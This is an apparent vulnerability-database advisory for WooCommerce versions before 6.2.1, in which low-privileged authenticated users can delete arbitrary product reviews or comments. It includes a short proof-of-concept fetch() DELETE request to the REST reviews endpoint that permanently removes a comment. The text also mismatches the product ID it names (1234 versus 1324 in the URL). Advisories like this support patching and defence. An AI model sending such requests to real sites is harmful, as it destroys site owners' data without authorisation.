Lucene search

K
wpexploitKrzysztof ZającWPEX-ID:B76DBF37-A0A2-48CF-BD85-3EBBC2F394DD
HistoryFeb 23, 2022 - 12:00 a.m.

WooCommerce < 6.2.1 - Subscriber+ Arbitrary Comment Deletion

2022-02-2300:00:00
Krzysztof Zając
218

0.001 Low

EPSS

Percentile

19.2%

The plugin does not have proper authorisation check when deleting reviews, which could allow any authenticated users, such as subscriber to delete arbitrary comment

Log in as any user (with privileges as low as Subscriber).

fetch("https://127.0.0.1:8001/?rest_route=/wc/v2/products/1324/reviews/2&force=1", {
 "headers": {
   "content-type": "application/x-www-form-urlencoded",
 },
 
 "method": "DELETE",
 "credentials": "include"
});

That needs product 1234 to not exist. It will permanently remove comment with ID 2.

0.001 Low

EPSS

Percentile

19.2%

Related for WPEX-ID:B76DBF37-A0A2-48CF-BD85-3EBBC2F394DD